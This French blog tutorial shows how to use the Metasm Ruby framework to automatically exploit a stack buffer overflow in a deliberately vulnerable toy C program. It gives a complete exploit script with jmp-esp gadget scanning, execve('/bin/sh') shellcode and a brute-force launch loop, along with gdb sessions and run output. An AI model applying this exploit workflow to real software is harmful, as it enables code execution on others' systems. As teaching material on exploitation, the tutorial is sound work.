Exploitation automatique avec Metasm

Mon 14 June 2010 by ivan

Metasm est un outil puissant permettant de scripter la manipulation de binaires. Sachant qu'il fournit une fonctionnalité de debugging, on peut automatiser certaines actions en les scriptant avec Ruby. On va ainsi l'utiliser pour créer un outil basique d'exploitation automatique de binaires ELF x86. L'idée est de nous simplifier la vie car lorsqu'on fait de l'exploitation, on est souvent amené à repasser par les mêmes étapes. En les scriptant, on gagne en temps et en efficacité.

Si vous ne connaissez pas Ruby, je vous suggère d'aller lire ces quelques liens :

Ruby Programming

Programming Ruby

La documentation officielle

Ceux qui ont déjà manipulé Python ne devraient pas être trop perdus avec Ruby. Metasm fonctionne avec la version 1.8 du Ruby. Le support 1.9 est pour l'instant moins abouti.

Par contre, il est plus difficile d'apprendre à se servir de Metasm. La documentation est quelque peu minimaliste à l'heure actuelle mais cela devrait s'arranger par la suite. On va dire qu'il s'agit encore d'un outil à faible affordance :]

Pour récupérer Metasm, il faut installer mercurial et récupérer un clone : hg clone https://metasm.cr0.org/hg/metasm

Pour vérifier que votre environnement est prêt, lancez l'exemple disassemble.rb qui est dans metasm/samples :

ivan@segment:~/metasm/samples$ ruby -v
ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux]
ivan@segment:~/metasm$ ls
BUGS  CREDITS  doc  examples  INSTALL  LICENCE  metasm  metasm.rb  misc  README  samples  tests  TODO
ivan@segment:~/metasm$ export RUBYLIB=~/metasm
ivan@segment:~/metasm$
ivan@segment:~/metasm$ cd samples/
ivan@segment:~/metasm/samples$ ruby disassemble.rb --fast /usr/bin/id
[...]

Maintenant que Metasm est fonctionnel on va pouvoir jouer avec :]

On va l'utiliser pour exploiter automatiquement un stack based buffer overflow sous x86 : on va simplement coder un PoC en C qui va copier argv[1] avec strcpy() dans un buffer local à la fonction main(). Évidemment l'utilisation de strcpy() pose un problème de sécurité qui nous permet ensuite de faire exécuter du code arbitraire par le programme. Je précise qu'on a de l'ASLR (/proc/sys/kernel/randomize_va_space=2) et la protection d'exécution des pages n'est pas activée (NX soft/hard disabled).

ivan@segment:~/metasm/samples$ cat main.c
$include <stdio.h>
$include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0;

        strcpy(buff, argv[1]);

        return 0;
}
ivan@segment:~/metasm/samples$ gcc main.c -mpreferred-stack-boundary=2 -o main
ivan@segment:~/metasm/samples$ file main
main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
ivan@segment:~/metasm/samples$ gdb main
Reading symbols from /home/ivan/metasm/samples/main...(no debugging symbols found)...done.
gdb$ disass main
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   ebp
   0x080483c5 <+1>:     mov    ebp,esp
   0x080483c7 <+3>:     sub    esp,0x88
   0x080483cd <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
   0x080483d1 <+13>:    jg     0x80483da <main+22>
   0x080483d3 <+15>:    mov    eax,0x0
   0x080483d8 <+20>:    jmp    0x80483f6 <main+50>
   0x080483da <+22>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483dd <+25>:    add    eax,0x4
   0x080483e0 <+28>:    mov    eax,DWORD PTR [eax]
   0x080483e2 <+30>:    mov    DWORD PTR [esp+0x4],eax
   0x080483e6 <+34>:    lea    eax,[ebp-0x80]
   0x080483e9 <+37>:    mov    DWORD PTR [esp],eax
   0x080483ec <+40>:    call   0x80482fc <strcpy@plt>
   0x080483f1 <+45>:    mov    eax,0x0
   0x080483f6 <+50>:    leave
   0x080483f7 <+51>:    ret
End of assembler dump.
gdb$ quit
ivan@segment:~/metasm/samples$ ./main $(python -c "print 'a'*(0x80+2*4)")
Segmentation fault
ivan@segment:~/metasm/samples$ gdb main
Reading symbols from /home/ivan/metasm/samples/main...(no debugging symbols found)...done.
gdb$ r $(python -c "print 'a'*(0x80+2*4)")
gdb$ r $(python -c "print 'a'*(0x80+2*4)")

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 00000000  EBX: 513FAFF4  ECX: 00000000  EDX: 00000089  o d I t s Z a P c
  ESI: 00000000  EDI: 00000000  EBP: 61616161  ESP: 5D919C5C  EIP: 080483F7
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:5D919C5C]----------------------------------------------------------[stack]
5D919CAC : 00 00 00 00  00 00 00 00 - 00 00 00 00  02 00 00 00 ................
5D919C9C : 00 00 00 00  D8 9C 91 5D - A7 25 3C 55  BE 93 DC 2F .......].%<U.../
5D919C8C : B0 3A 42 51  F0 F2 3F 51 - F4 AF 3F 51  00 00 00 00 .:BQ..?Q..?Q....
5D919C7C : 34 82 04 08  01 00 00 00 - C0 9C 91 5D  B6 46 41 51 4..........].FAQ
5D919C6C : 00 F0 3F 51  C0 9C 91 5D - FF FF FF FF  F4 2F 42 51 ..?Q...]...../BQ
5D919C5C : 61 61 61 61  00 00 00 00 - 04 9D 91 5D  10 9D 91 5D aaaa.......]...]
[007B:5D919C5C]-----------------------------------------------------------[data]
5D919C5C : 61 61 61 61  00 00 00 00 - 04 9D 91 5D  10 9D 91 5D aaaa.......]...]
5D919C6C : 00 F0 3F 51  C0 9C 91 5D - FF FF FF FF  F4 2F 42 51 ..?Q...]...../BQ
5D919C7C : 34 82 04 08  01 00 00 00 - C0 9C 91 5D  B6 46 41 51 4..........].FAQ
5D919C8C : B0 3A 42 51  F0 F2 3F 51 - F4 AF 3F 51  00 00 00 00 .:BQ..?Q..?Q....
5D919C9C : 00 00 00 00  D8 9C 91 5D - A7 25 3C 55  BE 93 DC 2F .......].%<U.../
5D919CAC : 00 00 00 00  00 00 00 00 - 00 00 00 00  02 00 00 00 ................
5D919CBC : 10 83 04 08  00 00 00 00 - 90 A3 41 51  9B EB 2C 51 ..........AQ..,Q
5D919CCC : F4 2F 42 51  02 00 00 00 - 10 83 04 08  00 00 00 00 ./BQ............
[0073:080483F7]-----------------------------------------------------------[code]
=> 0x80483f7 <main+51>: ret
   0x80483f8:   nop
   0x80483f9:   nop
   0x80483fa:   nop
   0x80483fb:   nop
   0x80483fc:   nop
   0x80483fd:   nop
   0x80483fe:   nop
--------------------------------------------------------------------------------
0x080483f7 in main ()
gdb$ x/x $esp
0x5b387b0c:     0x61616161
gdb$

On voit bien que l'adresse de retour (pointée par ESP) de la fonction appelant main() (__libc_start_main) est écrasée par 0x61616161. Remarquez que l'adresse de base de la stack de la fonction appelante est aussi écrasée et se trouve maintenant dans le registre EBP. Pour exécuter du code, il suffit de réécrire ce pointeur par l'adresse d'une zone mémoire que nous contrôlons. En général, on le fait pointer directement dans la stack.

On sait qu'après l'instruction ret',' le registre de stack (ESP) pointe juste après l'adresse de retour. Or nous contrôlons aussi cette zone mémoire avec le strcpy(), il suffit de déborder plus loin que la valeur sauvegardée de l'adresse de retour. Justement, si on exécute unjmp espaprès l'instructionret'', on branchera sur les données qui sont juste après l'adresse de retour. Comme par hasard, notre shellcode sera localisé dans cette zone. Donc pour résumer, notre payload aura cette forme :

[padding (0x80+4 bytes)][@jmp esp][shellcode]

Maintenant si on veut réaliser cette tâche automatiquement, il faut :

  1. Charger le binaire et trouver l'adresse de l'instruction ret de la fonction main().
  2. Lancer ce binaire et debugger ce processus. On met un breakpoint software sur l'instruction ret.
  3. On lance et relance le programme en injectant des paramètres de plus en plus grands jusqu'à ce que la valeur du saved ebp soit écrasée par notre argument.
  4. On cherche dans les zones de mémoire exécutables un jmp esp. J'ai dis plus haut qu'il n'y avait de NX hard ou soft mais on va quand même faire les choses proprement.
  5. On forge un payload de la forme souhaitée et on lance le binaire avec ce payload en argument.

Vous me direz que si on prend le jmp esp dans un module son adresse sera différente dans un autre instance du programme, cela est vrai mais pour se simplifier la vie on va relancer plusieurs fois le programme jusqu'à tomber sur la même forme de l'espace virtuelle du processus, là où le ''jmp esp' est au même endroit. Je précise que si les modules (ld et libc) "bougent" c'est parce qu’ils sont compilés avec l'option de gcc -fPIC, donc leur code est relogeable.

Reste à coder tout cela avec Metasm. On va utiliser les différentes classes de Metasm :

  1. La classe AutoExe va nous permettre de charger le binaire. En appelant la méthode init_disassembler() on obtient un objet de type Disassembler associé à ce binaire.
  2. On initialise le désassembler avec bin.init_disassembler. De là il est capable de nous retrouver les fonctions du binaire. On obtient un object DecodedFunction pour la fonction main() dont l'attribut return_address contient un tableau des différents points de retour de la fonction.
  3. La classe LinOS hérite de Debugger. Avec la méthode create_debugger() on démarre le débugger sur notre programme. Ensuite avec bpx() on pose un point d'arrêt sur l'instruction ret de main(). On lance le processus avec go() en spécifiant là où on veut qu'il break.
  4. On récupère la valeur du registre EBP avec get_reg_value() et on la compare pour voir s'il s'agit de notre argument.
  5. Une fois qu'on a trouvé la taille du paramètre pour écraser la valeur du retour on va scanner la mémoire à la recherche d'un jmp esp. Pour cela, on va passer par un objet Process obtenu via open_process() sur le pid du débuggée. process.mappings() nous renvoie une liste qui contient le retour de /proc/<pid>/maps. De là on obtient toutes les zones de mémoire exécutables.
  6. On scanne ces zones à la recherche d'un jmp esp.
  7. Une fois qu'on l'a trouvé, on compile le payload depuis du code asm x86 à l'aide de la méthode assemble() de la classe Shellcode et on lit le résultat dans l'attribut encode_string. Ici le shellcode exécute un simple execve("/bin/sh", NULL, NULL) valable pour un kernel Linux.
  8. On lance la commande qui remplace l'argument notre payload plusieurs fois afin de trigger l'exploit.
#!/usr/bin/env ruby

require 'metasm'  # load metasm
include Metasm    # avoid Metasm::Bla

file="./main"
fct="main"

printf "[*] Automatic exploitation with metasm\n[*] http://metasm.cr0.org/\n"

bin=AutoExe.decode_file(file)
dasm=bin.init_disassembler
main=dasm.disassemble(fct)
ret=main.function[bin.label_addr(fct)].return_address[0]
printf "[*] %s()'s ret @ 0x%x\n", fct, ret

i=0
sig="abcd"
jmpesp=Shellcode.assemble(Metasm::Ia32.new, "jmp esp").encoded.data.unpack("S").first
addr_jmpesp=0

endscan=false

until endscan
        # argument for overflow
        args=sig*i

        dbg=LinOS.create_debugger(file+" "+args)
        printf "\n\t[*] Debuggee pid : %d | argv[1] length : %d\n", dbg.pid, args.length

        # step to 'ret' instruction
        dbg.go(ret)

        # if rbp was overwritten
        ebp=dbg.get_reg_value(:ebp)
        printf "\t[*] ebp register = 0x%x\n", ebp
        if ebp!=sig.unpack('L')[0]
                i+=1
                redo
        end

        process=LinOS.open_process(dbg.pid)
        puts "[*] process mappings:"
        x=process.mappings().select{|addr_start, length, perms, file|
                        printf "\t[*] 0x%x-0x%x %s %s\n", addr_start, addr_start+length, perms, file
                        perms.scan("x")!=[]}.map{|addr_start, length, perms, file|
                                [addr_start, addr_start+length]
                }

                # scan executable memory for "jmp esp"
                x.each{|code_start, code_end|
                        printf "[*] scanning 0x%x -> 0x%x\n", code_start, code_end
                        code_start.step(code_end){|addr|
                                word=dbg.memory_read_int(addr, 2)
                                if word==jmpesp
                                        addr_jmpesp=addr
                                        printf "[+] jmp esp @ 0x%x\n", addr_jmpesp
                                        endscan=true
                                        break
                                end
                        }
                        if endscan
                                break
                        end
                }
end

printf "[*] Assembling payload\n"

# a simple linux/x86 execve("/bin/sh", NULL, NULL)
shellcode_asm=Shellcode.assemble(Ia32.new, <<EOS
push 0bh
pop eax
cdq
push edx
push 68732f2fh
push 6e69622fh
mov ebx, esp
xor ecx, ecx
int 80h
EOS
)

# encode
shellcode=shellcode_asm.encode_string()

payload=sig*i+([addr_jmpesp].pack('L'))+shellcode
f=File.new("payload", 'w')
f.write(payload)
f.close
cmd="while :;do ./main $(cat payload);done"
printf "[+] payload created ! Launching '%s' command\n", cmd
sleep(3)
system(cmd)

On exécute notre script :

ivan@segment:~/metasm/samples$ ./autospl0it.rb
[*] Automatic exploitation with metasm
[*] http://metasm.cr0.org/
[*] main()'s ret @ 0x80483f7

        [*] Debuggee pid : 4634 | argv[1] len : 0
        [*] ebp register = 0xbfffe968

        [*] Debuggee pid : 4635 | argv[1] len : 4
        [*] ebp register = 0xbfffefd8

        [*] Debuggee pid : 4636 | argv[1] len : 8
        [*] ebp register = 0xbffff6f8

        [*] Debuggee pid : 4637 | argv[1] len : 12
        [*] ebp register = 0xbfffed98

        [*] Debuggee pid : 4638 | argv[1] len : 16
        [*] ebp register = 0xbffff3c8

        [*] Debuggee pid : 4639 | argv[1] len : 20
        [*] ebp register = 0xbfffed98

        [*] Debuggee pid : 4640 | argv[1] len : 24
        [*] ebp register = 0xbffff0b8

        [*] Debuggee pid : 4641 | argv[1] len : 28
        [*] ebp register = 0xbfffecc8

        [*] Debuggee pid : 4642 | argv[1] len : 32
        [*] ebp register = 0xbfffedb8

        [*] Debuggee pid : 4643 | argv[1] len : 36
        [*] ebp register = 0xbffff7c8

        [*] Debuggee pid : 4644 | argv[1] len : 40
        [*] ebp register = 0xbffff108

        [*] Debuggee pid : 4645 | argv[1] len : 44
        [*] ebp register = 0xbffff518

        [*] Debuggee pid : 4646 | argv[1] len : 48
        [*] ebp register = 0xbfffedb8

        [*] Debuggee pid : 4647 | argv[1] len : 52
        [*] ebp register = 0xbfffef28

        [*] Debuggee pid : 4648 | argv[1] len : 56
        [*] ebp register = 0xbfffecc8

        [*] Debuggee pid : 4649 | argv[1] len : 60
        [*] ebp register = 0xbffff058

        [*] Debuggee pid : 4650 | argv[1] len : 64
        [*] ebp register = 0xbffff648

        [*] Debuggee pid : 4651 | argv[1] len : 68
        [*] ebp register = 0xbfffe928

        [*] Debuggee pid : 4652 | argv[1] len : 72
        [*] ebp register = 0xbffff6b8

        [*] Debuggee pid : 4653 | argv[1] len : 76
        [*] ebp register = 0xbffff3d8

        [*] Debuggee pid : 4654 | argv[1] len : 80
        [*] ebp register = 0xbfffe808

        [*] Debuggee pid : 4655 | argv[1] len : 84
        [*] ebp register = 0xbffff368

        [*] Debuggee pid : 4656 | argv[1] len : 88
        [*] ebp register = 0xbfffee58

        [*] Debuggee pid : 4657 | argv[1] len : 92
        [*] ebp register = 0xbfffefa8

        [*] Debuggee pid : 4658 | argv[1] len : 96
        [*] ebp register = 0xbfffef48

        [*] Debuggee pid : 4659 | argv[1] len : 100
        [*] ebp register = 0xbfffebb8

        [*] Debuggee pid : 4660 | argv[1] len : 104
        [*] ebp register = 0xbfffebd8

        [*] Debuggee pid : 4661 | argv[1] len : 108
        [*] ebp register = 0xbffff698

        [*] Debuggee pid : 4662 | argv[1] len : 112
        [*] ebp register = 0xbffff088

        [*] Debuggee pid : 4663 | argv[1] len : 116
        [*] ebp register = 0xbfffe958

        [*] Debuggee pid : 4664 | argv[1] len : 120
        [*] ebp register = 0xbffff2d8

        [*] Debuggee pid : 4665 | argv[1] len : 124
        [*] ebp register = 0xbfffecf8

        [*] Debuggee pid : 4666 | argv[1] len : 128
        [*] ebp register = 0xbfffeb00

        [*] Debuggee pid : 4667 | argv[1] len : 132
        [*] ebp register = 0x61616161
[*] process mappings:
        [*] 0x8048000-0x8049000 r-xp /root/metasm/samples/main
        [*] 0x8049000-0x804a000 rwxp /root/metasm/samples/main
        [*] 0xb7637000-0xb7638000 rwxp
        [*] 0xb7638000-0xb7778000 r-xp /lib/i686/cmov/libc-2.11.1.so
        [*] 0xb7778000-0xb7779000 ---p /lib/i686/cmov/libc-2.11.1.so
        [*] 0xb7779000-0xb777b000 r-xp /lib/i686/cmov/libc-2.11.1.so
        [*] 0xb777b000-0xb777c000 rwxp /lib/i686/cmov/libc-2.11.1.so
        [*] 0xb777c000-0xb7780000 rwxp
        [*] 0xb7785000-0xb7786000 rwxp
        [*] 0xb7786000-0xb7787000 r-xp [vdso]
        [*] 0xb7787000-0xb77a2000 r-xp /lib/ld-2.11.1.so
        [*] 0xb77a2000-0xb77a3000 r-xp /lib/ld-2.11.1.so
        [*] 0xb77a3000-0xb77a4000 rwxp /lib/ld-2.11.1.so
        [*] 0xbffea000-0xc0000000 rwxp [stack]
[*] scanning 0x8048000 -> 0x8049000
[*] scanning 0x8049000 -> 0x804a000
[*] scanning 0xb7637000 -> 0xb7638000
[*] scanning 0xb7638000 -> 0xb7778000
[+] jmp esp @ 0xb763aa1d
[*] Building payload
[+] payload created ! Launching "while :;do ./main $(cat payload);done"command
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
[...]
# id
uid=1000(ivan) gid=1000(ivan) groups=1000(ivan)
#

Bien sûr il est possible de fiabiliser l'exploit pour qu'il marche à chaque fois même avec l'ASLR activée (par contre si il y a le NX c'est un peu plus compliqué) mais je fais confiance à votre imagination pour trouver comment faire ;)

Ceci n'est qu'un vague aperçu des différentes possibilités offertes par Metasm. Je vous invite à aller lire les slides des différentes présentations (voir le site officiel) ainsi que ces liens :